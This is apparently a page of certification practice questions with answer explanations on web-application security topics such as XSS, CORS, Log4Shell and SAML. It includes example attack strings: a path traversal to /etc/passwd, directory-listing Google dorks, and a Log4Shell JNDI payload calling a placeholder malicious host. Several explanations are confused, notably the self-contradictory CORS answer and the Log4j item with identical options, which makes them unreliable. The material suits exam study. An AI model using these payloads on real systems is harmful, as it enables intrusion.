Free The SecOps Group CAP Practice Exam with Questions & Answers | Set: 2

Multifactor Authentication (MFA) enhances security by requiring multiple forms of verification (e.g., something you know, like a password, and something you have, like a one-time code) to authenticate a user. It is effective against attacks that rely on stolen credentials, but let’s evaluate its impact on the listed vulnerabilities:

Option A ("Cross-Site Scripting Vulnerability"): XSS (Cross-Site Scripting) involves injecting malicious scripts into a web application that execute in the victim’s browser. MFA does not prevent XSS because it occurs after authentication; an attacker can exploit XSS to steal session cookies or perform actions on behalf of the authenticated user, bypassing MFA’s protection.

Option B ("Cross-Site Request Forgery Vulnerability"): CSRF (Cross-Site Request Forgery) tricks a user’s browser into making unintended requests to a site where they are authenticated. MFA does not prevent CSRF because the attack leverages the user’s existing session (post-authentication). The browser automatically sends cookies (e.g., session cookies) with the forged request, and MFA does not interfere with this process.

Option C ("Path Traversal Vulnerability"): Path Traversal allows an attacker to manipulate file paths (e.g., ../../etc/passwd) to access unauthorized files on the server. MFA does not prevent this because it is an application-level vulnerability unrelated to user authentication; an attacker with or without credentials can exploit it if the application fails to validate input.

Option D ("All of the above"): Correct, as MFA is designed to secure the authentication process, not to mitigate vulnerabilities like XSS, CSRF, or Path Traversal, which exploit application logic or session management after authentication.

The correct answer is D, aligning with the CAP syllabus under "Multifactor Authentication" and "Application Security Vulnerabilities."References: SecOps Group CAP Documents - "MFA Implementation," "XSS/CSRF/Path Traversal Mitigation," and "OWASP Authentication Cheat Sheet" sections.

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute in the context of the victim’s browser, enabling various exploitations. Let’s evaluate each option:

Option A ("Steal the user's session identifier stored on a non HttpOnly cookie"): This is possible with XSS. If a session cookie is not marked as HttpOnly (preventing JavaScript access), an attackercan use a script to access document.cookie and steal the session ID, leading to session hijacking.

Option B ("Steal the contents from the web page"): This is also possible. An XSS payload can manipulate the DOM, extract content (e.g., via innerHTML), and send it to the attacker, such as through a GET request to a malicious server.

Option C ("Steal the contents from the application's database"): This is not possible with XSS alone. XSS operates on the client side within the browser’s sandbox and cannot directly access the server-side database. Database access requires server-side vulnerabilities (e.g., SQL injection), which is a separate attack vector. Thus, this exploitation is not feasible through XSS.

Option D ("Steal the contents from the user's keystrokes using keyloggers"): This is possible. An XSS script can inject a keylogger (e.g., using onkeydown events) to capture keystrokes and transmit them to the attacker, especially on pages where sensitive data (e.g., forms) is entered.

Therefore, the correct answer is C, as XSS cannot directly exploit the database. This distinction is crucial in understanding attack vectors, a core topic in the CAP syllabus under "OWASP Top 10 (A03:2021 - Injection)" and "XSS Mitigation."

References: SecOps Group CAP Documents - "OWASP Top 10," "Cross-Site Scripting (XSS)," and "Client-Side Attack Vectors" sections.

Google Dorks are advanced search operators used to find specific information or vulnerabilities on the web. Directory listing vulnerabilities occur when a web server exposes the contents of a directory (e.g., file names, paths) due to misconfiguration. The operators intitle: and intext: are used to search for specific terms in the title or body of web pages, respectively, combined with site: to limit the search to a specific domain.

Option A ("intitle:'Index of' site:victim-app.com"): Correct, as intitle:"Index of" targets pages with "Index of" in the title, a common indicator of directory listings, and site:victim-app.com restricts the search to that domain.

Option B ("intext:'Index of' site:victim-app.com"): Correct, as intext:"Index of" searches for "Index of" within the page content, another reliable indicator of directory listings, combined with the domain restriction.

Option C ("Both A and B"): Correct, as both intitle: and intext: can effectively identify directory listings, making this the most comprehensive answer.

Option D ("None of the above"): Incorrect, as both A and B are valid Google Dorks for this purpose.

The correct answer is C, aligning with the CAP syllabus under "Reconnaissance Techniques" and "Google Dorking."References: SecOps Group CAP Documents - "Information Gathering," "Google Hacking," and "OWASP Testing Guide" sections.

The Log4j vulnerability, identified asCVE-2021-44228(commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leveragesJNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list "JNDI Injection," which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ("None of the above") is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.References: SecOps Group CAP Documents - "Injection Vulnerabilities," "Remote Code Execution," and "OWASP Top 10 (A03:2021 - Injection)" sections.

The Same-Origin Policy (SOP) is a fundamental security mechanism in web browsers that restricts how a document or script loaded from one origin can interact with resources from another origin. An origin is defined by the combination ofprotocol,host, andport. Two pages have the same origin if their protocol (e.g., http://), host (e.g., www.example.com ), and port (default is 80 for HTTP) match exactly. The given URL is http://www.example.com/dir/page2.html, which uses HTTP, host www.example.com, and the default port 80.

Option 1 ("http://www.example.com/dir/other.html"): Matches the protocol (http), host (www.example.com ), and port (default 80), so it is in the same origin.

Option 2 ("http://www.example.com:81/dir/other.html"): Differs in port (81 vs. default 80), so it is a different origin.

Option 3 ("http://www.example.com/dir/other.html"): Identical to Option 1, matching protocol, host, and port, so it is in the same origin. However, since it’s a duplicate of Option 1 in the list, it doesn’t add a new page.

Option 4 ("http://en.example.com/dir/other.html"): Differs in host (en.example.com vs.www.example.com ), so it is a different origin.

Since the question asks which pages are in the same origin, and only Option 1 (and its duplicate Option 3) matches, the correct answer is A ("1 Only"), considering unique pages. The CAP syllabus covers SOP under "Client-Side Security" and "Cross-Origin Resource Sharing (CORS)."References: SecOps Group CAP Documents - "Same-Origin Policy," "Browser Security Models," and "OWASP Client-Side Security" sections.

Cookies can have security attributes to protect them against various attacks. Let’s evaluate each option to determine which attribute is not used to secure cookies:

Option A ("HttpOnly"): The HttpOnly attribute prevents cookies from being accessed by JavaScript (e.g., via document.cookie). This mitigates XSS attacks that attempt to steal session cookies, making it a valid security attribute.

Option B ("Secure"): The Secure attribute ensures that the cookie is only sent over HTTPS connections, preventing it from being transmitted over unencrypted HTTP. This protects against interception (e.g., in a man-in-the-middle attack), making it a valid security attribute.

Option C ("Restrict"): There is no standard cookie attribute called Restrict. Cookie security attributes are well-defined (e.g., HttpOnly, Secure, SameSite), and Restrict does not exist in this context. This is not a valid attribute for securing cookies.

Option D ("Same-Site"): The SameSite attribute (e.g., SameSite=Strict or SameSite=Lax)controls whether a cookie is sent with cross-site requests. It helps mitigate CSRF attacks by ensuring the cookie is only sent with same-site requests (or limited cross-site scenarios), making it a valid security attribute.

The correct answer is C, as Restrict is not a recognized cookie attribute, aligning with the CAP syllabus under "Cookie Security" and "Session Management."References: SecOps Group CAP Documents - "Cookie Security Attributes," "Session Security," and "OWASP Session Management Cheat Sheet" sections.

CORS (Cross-Origin Resource Sharing) is a mechanism that allows servers to specify which origins can access their resources, enhancing security for cross-origin requests. A common misconfiguration occurs with theAccess-Control-Allow-OriginandAccess-Control-Allow-Credentialsheaders. WhenAccess-Control-Allow-Originis set to * (wildcard, allowing all origins), it permits any domain to make requests. However, ifAccess-Control-Allow-Credentialsis set to true (allowing credentials like cookies or HTTP authentication), this creates a security risk. Browsers will block such requests because sending credentials with a wildcard origin violates CORS security policies, but an attacker could exploit this misconfiguration to trick a victim’s browser into making unauthorized requests if other controls are absent.

Option A is correct because the combination of Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true is exploitable, as it enables potential credential leakage or unauthorized access. Option B is incorrect because Access-Control-Allow-Credentials: false disables credential sending, reducing exploitability. Option C is incorrect because the value of Access-Control-Allow-Credentials is not irrelevant; it must be false with a wildcard origin to comply with security standards. Option D ("All of the above") is incorrect as only A holds true. This is a key topic in the CAP syllabus under "CORS Misconfiguration" and "Client-Side Security."References: SecOps Group CAP Documents - "CORS Configuration," "Security Misconfigurations," and "OWASP Secure Headers" sections.

SAML (Security Assertion Markup Language) is an XML-based standard for authentication and authorization, commonly used for single sign-on (SSO). Its reliance on XML and the complexity of its trust model make it vulnerable to several attacks:

Option A ("XML Signature Wrapping Attack"): This is a common SAML attack where an attacker manipulates the XML structure to wrap a malicious element while preserving the signature, tricking the relying party into accepting a forged assertion. This attack exploits the way SAML parsers handle signed XML messages.

Option B ("XML External Entity Injection"): SAML messages are XML-based, making them susceptible to XXE (XML External Entity) attacks if the XML parser is misconfigured. An attacker can include external entities to access local files or make network requests, compromising the system.

Option C ("Assertion Replay Attack"): In this attack, an attacker intercepts a valid SAML assertion and reuses it to impersonate the user. If the assertion lacks proper replay protection (e.g., timestamps, nonces), the relying party may accept the replayed assertion as valid.

Option D ("All of the above"): Correct, as all three attacks (XML Signature Wrapping, XXE Injection, and Assertion Replay) are well-documented vulnerabilities in SAML implementations.

The correct answer is D, aligning with the CAP syllabus under "SAML Security" and "XML-Based Attacks."References: SecOps Group CAP Documents - "SAML Security Risks," "XML Vulnerabilities," and "OWASP SAML Security Cheat Sheet" sections.